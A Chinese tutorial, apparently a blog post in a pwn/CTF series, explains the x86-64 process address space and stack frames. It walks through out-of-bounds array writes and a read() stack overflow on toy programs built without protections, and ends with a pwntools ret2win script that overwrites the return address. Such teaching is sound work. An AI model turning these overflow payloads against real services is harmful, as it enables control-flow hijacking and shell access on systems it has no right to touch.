上一篇把汇编、寄存器、函数调用和保护机制串了一遍。这一篇补上两块地基——进程地址空间和栈帧的动态变化——然后用两个最小实验(数组越界、字符串栈溢出)把「覆盖返回地址劫持 rip」从原理推到实操,最后用 pwntools 写出第一个能跑的 exploit。
全文以 x86-64 Linux 为主,32 位的差异沿用上一篇的标注习惯。
零、先记住这几条
- 栈向低地址增长,堆向高地址增长。 两者中间隔着 libc 和一段 gap,彼此不会撞。
- 每个函数有自己的栈帧,由
rbp标记起点。 局部变量在rbp下方(低地址),[rbp-N]访问;返回地址在rbp上方(高地址),[rbp+8]。 - C 不做运行时边界检查。 数组下标越界、字符串超长,编译器和运行时都不会拦。
- 越界读、越界写、覆盖返回地址,是同一件事的三个层次——只是写得离缓冲区越来越远。
- 偏移公式:64 位
buf_size + 8,32 位buf_size + 4;开 Canary 再+8,但 canary 必须写对。具体数值永远用 gdb 量,不要背。
一、虚拟地址空间:栈在进程里的位置
现代操作系统给每个进程一个独立、连续的虚拟地址空间,按页(4KB)与物理内存映射,按需分配。用户态程序基本只接触虚拟地址——对内存的读写、对指针的运算,全部发生在虚拟地址层面。物理内存的实际位置由操作系统和 MMU 负责翻译,程序看不到。
Linux 下典型的 64 位进程地址空间,从高到低大致是:
高地址
+------------------------+
| kernel space | 内核映射,用户态不可直接访问
+------------------------+
| stack | 栈,向低地址增长
+------------------------+
| (gap) |
+------------------------+
| dynamic libraries | libc 等共享库映射
+------------------------+
| (gap) |
+------------------------+
| heap | 堆,向高地址增长
+------------------------+
| ELF | 可执行程序本身的代码段/数据段
+------------------------+
低地址
这张图要记住几点:
- 栈在最高地址附近,向低地址增长;堆在低地址附近,向高地址增长。 中间是共享库和空白 gap。
- ASLR 随机化的就是这些区域的基址,但页内偏移不变(上一篇讲过,这也是 Partial Overwrite 可行的根本原因)。
- PIE 让最下面的 ELF 段也参与随机化;没开 PIE 时程序代码地址固定。
- libc 的映射位置随机,所以 ret2libc 需要先泄露 libc 基址。
理解这张图的实际意义:当你泄露出一个地址时,你要知道它属于哪个区域,才能算出对应区域的基址。比如泄露出一个地址在 0x7f... 开头,那它大概率属于 libc 或 stack;如果是 0x40...,那通常是 ELF 里的固定代码地址(没开 PIE 时)。
二、栈帧:函数临时变量的家
2.1 栈帧结构
C 语言中,函数的临时变量存在栈上。栈从高地址向低地址增长,栈底在高地址一侧。每个函数有自己独立的栈帧(stack frame):
高地址
+------------------------+
| 调用者的栈帧 |
+------------------------+
| 返回地址 | <- call 指令压入
+------------------------+
| saved rbp | <- push rbp 压入
+------------------------+ <- rbp(栈底寄存器)
| 局部变量 / 缓冲区 |
| ... |
+------------------------+ <- rsp(栈顶寄存器)
低地址
两个关键寄存器:
- RBP(栈底寄存器):标记当前栈帧"数据部分"的起始位置。函数执行期间不变,方便用
[rbp-N]稳定访问局部变量。 - RSP(栈顶寄存器):始终指向当前栈顶。随着
push/pop/sub/add不断变化。
局部变量通过 [rbp - 偏移] 访问,因为它们在 rbp 下方(低地址方向)。
2.2 函数调用时栈帧怎么变
以这段代码为例:
void test() {
char* str = "Hello World!";
}
int main() {
test();
return 0;
}
去掉优化后,汇编大致是:
test:
push rbp
mov rbp, rsp
sub rsp, 16
...
leave
ret
main:
...
call test
...
关键指令的栈效果:
| 指令 | 等价展开 | 栈的变化 |
|---|---|---|
call test | push addr_after_call + jmp test | rsp -= 8,压入返回地址 |
push rbp | sub rsp, 8 + mov [rsp], rbp | rsp -= 8,压入调用者的 rbp |
mov rbp, rsp | — | rbp 指向当前栈顶,建立新栈帧 |
sub rsp, N | — | rsp -= N,为局部变量开辟空间 |
leave | mov rsp, rbp + pop rbp | 丢弃局部变量,恢复调用者的 rbp |
ret | pop rip | 弹出返回地址到 rip,跳回调用点 |
完整流程(从 call test 开始):
① call test → 压入返回地址,rsp 下移 8
② push rbp → 压入 main 的 rbp,rsp 下移 8
③ mov rbp, rsp → rbp 指向当前位置
④ sub rsp, 16 → 为 str 等局部变量开辟 16 字节
⑤ ... 执行函数体 ...
⑥ leave → rsp = rbp;pop rbp 恢复 main 的 rbp
⑦ ret → pop rip,跳回 main 中 call test 的下一条指令
这就是上一篇"返回地址在栈上"的完整展开。ret 执行时,rsp 指向的就是返回地址——这是所有栈溢出攻击的立足点。
三、数组越界:从读到写,再到控制 rip
C 语言对数组下标不做运行时检查。arr[i] 的地址就是 arr 基址 + i * sizeof(element),编译器只负责算地址,不负责判断 i 是否越界。
3.1 越界读:读到栈上的其他数据
// gcc -no-pie -fno-stack-protector -g test.c
unsigned long long arr[10];
int main() {
for (int i = 0; i < 10; i++) arr[i] = 0xdeadbeef;
for (int i = 0; i < 12; i++)
printf("arr[%d] = 0x%llx\n", i, arr[i]);
return 0;
}
arr[10]、arr[11] 越界,但程序不崩,只是读到了 arr 后面的栈内容(saved rbp、返回地址等)。
在 gdb 里看:arr[10] 的地址是 &arr + 10 * 8,即 arr 基址往后 80 字节。这说明越界读只是按偏移算地址再取值,没有任何边界检查。
3.2 越界写:篡改栈上的变量
unsigned long long arr[10];
unsigned long long var = 0xdeadbeef;
int main() {
arr[11] = 0xcafebabe; // 越界写
printf("var = 0x%llx\n", var); // var 变成了 0xcafebabe
return 0;
}
arr[11] 的地址恰好落在 var 的栈位置上,所以 var 被覆盖。
这说明:只要能控制下标,就能读写栈上任意相邻数据。
3.3 越界控制 rip:覆盖返回地址
栈上什么能影响 rip?结合栈帧结构,答案很清楚:返回地址 + ret 指令。
void func() { printf("func called.\n"); }
int main() {
unsigned long long arr[10];
arr[11] = (unsigned long long)func;
return 0;
}
去掉优化后,汇编大致是:
main:
push rbp
mov rbp, rsp
sub rsp, 0x50 ; arr 占 0x50 = 80 字节
lea rax, [rel func] ; 取 func 的地址(简化写法)
mov qword ptr [rbp + 8], rax ; arr[11] 对应 [rbp+8]
mov eax, 0
leave
ret
栈布局推导:
arr 基址 = rbp - 0x50
arr[10] = rbp - 0x50 + 10*8 = rbp → saved rbp
arr[11] = rbp - 0x50 + 11*8 = rbp + 8 → 返回地址
所以 arr[11] = func 就是直接把返回地址改成 func。main 执行到 ret 时,pop rip 弹出 func 的地址,程序跳到 func() 执行。
⚠️ 这里
0x50(80 字节)是 gcc 在-O0下对arr[10]的分配结果。开-O2、换编译器、改数组元素类型,都会变。实战里永远用 gdb 确认,不要背数字。
这就是控制程序流的最小原型。 它和后面字符串栈溢出的本质完全一样,区别只是"越界的方式"不同:数组越界靠下标,栈溢出靠输入函数的长度未校验。
四、字符串栈溢出:最经典的入口
4.1 原理
字符串本质是字符数组,同样没有运行时长度检查。常见漏洞来源:
- 输入函数:
gets(永远不检查)、scanf("%s")(不检查)、read长度大于缓冲区; - 字符串库函数:
strcpy、memcpy、strcat等未限制目标缓冲区大小。
下面以 read 为例:
void func() { printf("func called\n"); }
int main() {
char str[0x20];
read(0, str, 0x50); // 缓冲区 0x20,却允许读 0x50
return 0;
}
去掉优化后,汇编大致是:
main:
push rbp
mov rbp, rsp
sub rsp, 0x20 ; str 占 0x20 = 32 字节
lea rax, [rbp-0x20] ; str 基址
mov edx, 0x50 ; 读 0x50 字节
mov rsi, rax ; 目标缓冲区
mov edi, 0
mov eax, 0
call read
mov eax, 0
leave
ret
栈布局:
高地址
+-----------------------+
| 返回地址 | <- rbp + 8
+-----------------------+
| saved rbp | <- rbp
+-----------------------+
| str[0..0x1f] | <- rbp - 0x20
+-----------------------+ <- rsp
低地址
从 str 开头到返回地址的偏移:
0x20 (str) + 8 (saved rbp) = 0x28 = 40
4.2 构造 payload
payload = b'A' * 0x28 + p64(func_addr)
- 前
0x28字节填满 str 和 saved rbp; - 后面 8 字节写入 func 地址,覆盖返回地址;
- main 执行
leave; ret时,ret 弹出 func 地址,跳到 func()。
如果程序里有 win() 执行 execve("/bin/sh"),把 func_addr 换成 win_addr,就是上一篇的 ret2win。
4.3 为什么编译选项是 -no-pie -fno-stack-protector
gcc -no-pie -fno-stack-protector -g test.c
| 选项 | 作用 |
|---|---|
-no-pie | 关闭 PIE,func 地址固定,可以直接硬编码 |
-fno-stack-protector | 关闭 Canary,溢出不会在 ret 前被拦下 |
-g | 保留调试信息,方便 gdb 看符号和源码 |
这三个选项是学习阶段的标准配置。等你能打穿它们,再逐个打开保护,练对应的绕过方法。
五、pwntools:第一个 exploit 脚本
#!/usr/bin/python3
from pwn import *
# context.binary = "./a.out" # 自动检测架构和位数
context.arch = "amd64"
p = process("./a.out") # 本地进程;远程用 remote(ip, port)
elf = ELF("./a.out") # 加载可执行文件,解析符号
target_address = elf.sym["func"] # 取 func 的地址
payload = b"A" * 0x28 # 填满 str + saved rbp
payload += p64(target_address) # 覆盖返回地址
p.send(payload) # 发送 payload
p.interactive() # 切换为人工交互
逐行解释:
| 代码 | 作用 |
|---|---|
process("./a.out") | 启动本地进程,返回可交互对象 |
remote(ip, port) | 连接远程服务,用法和 process 一致 |
ELF("./a.out") | 解析 ELF,elf.sym["func"] 取符号地址 |
p64(x) | 把整数按 64 位小端序转成字节流 |
p.send(data) | 发送原始字节(不加换行) |
p.interactive() | 把输入输出交还给用户,方便拿 shell 后操作 |
Python 3 下字符串要加
b前缀,因为 pwntools 发送的是字节流,不是 str。pwntools 7.x 推荐用
context.binary = "./a.out"自动检测架构和位数,比手动设context.arch更省事。
六、把这一篇接回上一篇
6.1 偏移公式的统一
你现在应该能自己推出偏移公式:
64 位:offset = 局部缓冲区大小 + 8(saved rbp)
32 位:offset = 局部缓冲区大小 + 4(saved rbp)
| 场景 | 缓冲区 | 偏移 | payload |
|---|---|---|---|
| 上一篇 name[64] 无 Canary | 64 | 72 | b'A'*72 + p64(win) |
| 本篇 str[0x20] | 0x20 | 0x28 | b'A'*0x28 + p64(func) |
| 上一篇 name[64] 有 Canary | 64 | 80 | b'A'*64 + p64(canary) + b'B'*8 + p64(win) |
6.2 越界与溢出的关系
| 方式 | 越界手段 | 本质 |
|---|---|---|
| 数组越界 | 控制下标 arr[i] | 按偏移算地址,写到缓冲区外 |
| 字符串栈溢出 | 输入函数长度 > 缓冲区 | 连续写入,覆盖到返回地址 |
两者都是"写了不该写的内存",只是触发方式不同。理解了栈帧布局,两种漏洞的利用思路完全一致:算偏移 → 填到返回地址 → 写入目标地址。
6.3 保护机制的落点
这一篇的所有实验都用 -no-pie -fno-stack-protector,因为:
- Canary 会在 ret 前检查 saved rbp 下方的随机值,溢出会被拦;
- PIE 会让 func 地址随机,不能直接硬编码;
- NX 不影响 ret2win(跳的是已有代码),但影响注入 shellcode;
- RELRO 不影响这里(没有改 GOT)。
学习顺序建议:
无保护 ret2win(本篇)
→ 开 Canary,练泄露(上一篇泄露部分)
→ 开 NX,练 ROP / ret2libc
→ 开 PIE,练泄露基址 / Partial Overwrite
→ 开 Full RELRO,练 vtable / __exit_funcs / ret2dlresolve
七、一张图串起全部
虚拟地址空间
│
├── stack(高地址,向低增长)
│ │
│ └── 栈帧
│ ├── 局部变量 / 缓冲区 ← 数组越界、字符串溢出写这里
│ ├── canary(若开启) ← 溢出会踩到,需泄露
│ ├── saved rbp
│ └── 返回地址 ← 覆盖它就控制 rip
│
├── dynamic libraries(libc) ← ret2libc 的目标
├── heap ← 堆漏洞的目标
└── ELF(程序本身) ← ret2win / ROP gadget 来源
函数调用:
call = push 返回地址 + jmp
push rbp + mov rbp,rsp = 建立栈帧
leave = mov rsp,rbp + pop rbp
ret = pop rip
利用链:
找缓冲区 → 算偏移(buf + saved rbp)→ 覆盖返回地址 → 跳到 win / ROP
八、关键记忆点
- 虚拟地址空间:栈在高地址向低增长,堆在低地址向高增长,libc 在中间,ELF 在最下面。泄露地址先判断属于哪个区域。
- 栈帧三件套:局部变量、saved rbp、返回地址。rbp 标记栈帧底,rsp 标记栈顶。
- call 压返回地址,ret 弹返回地址——返回地址永远在栈上,这是溢出的根。
- C 不检查数组下标和字符串长度,越界读、越界写、覆盖返回地址是同一件事的三个层次。
- 偏移公式:64 位
buf_size + 8,32 位buf_size + 4;开 Canary 再+8,但 canary 必须写对。 - 学习阶段编译选项:
-no-pie -fno-stack-protector -g,先打穿无保护,再逐个开保护练绕过。 - pwntools 四件套:process/remote 起进程、ELF 取符号、p64 打包、send + interactive 交互。
- 数组越界和栈溢出本质相同:都是写了缓冲区外的内存,只是触发方式不同;理解栈帧后,两者利用思路一致。
九、练习建议
① 编译本篇两个例子,用 gdb 看栈:x/20gx $rsp,对照 rbp/rsp 确认布局
② 手算 arr[10]、arr[11] 对应栈上哪个位置,验证与汇编 [rbp+8] 一致
③ 改 read 的长度,观察偏移变化,自己推 payload
④ 把 func 换成 win(execve("/bin/sh")),用 pwntools 拿 shell
⑤ 加上 -fstack-protector-all 重新编译,观察崩溃点,尝试泄露 canary
⑥ 加上 -pie 重新编译,观察 func 地址变化,尝试 Partial Overwrite
每一步都建议用 gdb 附加,stack 看栈、info registers 看寄存器、x/20gx $rsp 看内存,把「汇编 ↔ 栈 ↔ payload」三者的对应关系真正建立起来。
做到看到一段 payload 就能在脑中画出栈布局,入门就算过了。

说些什么吧!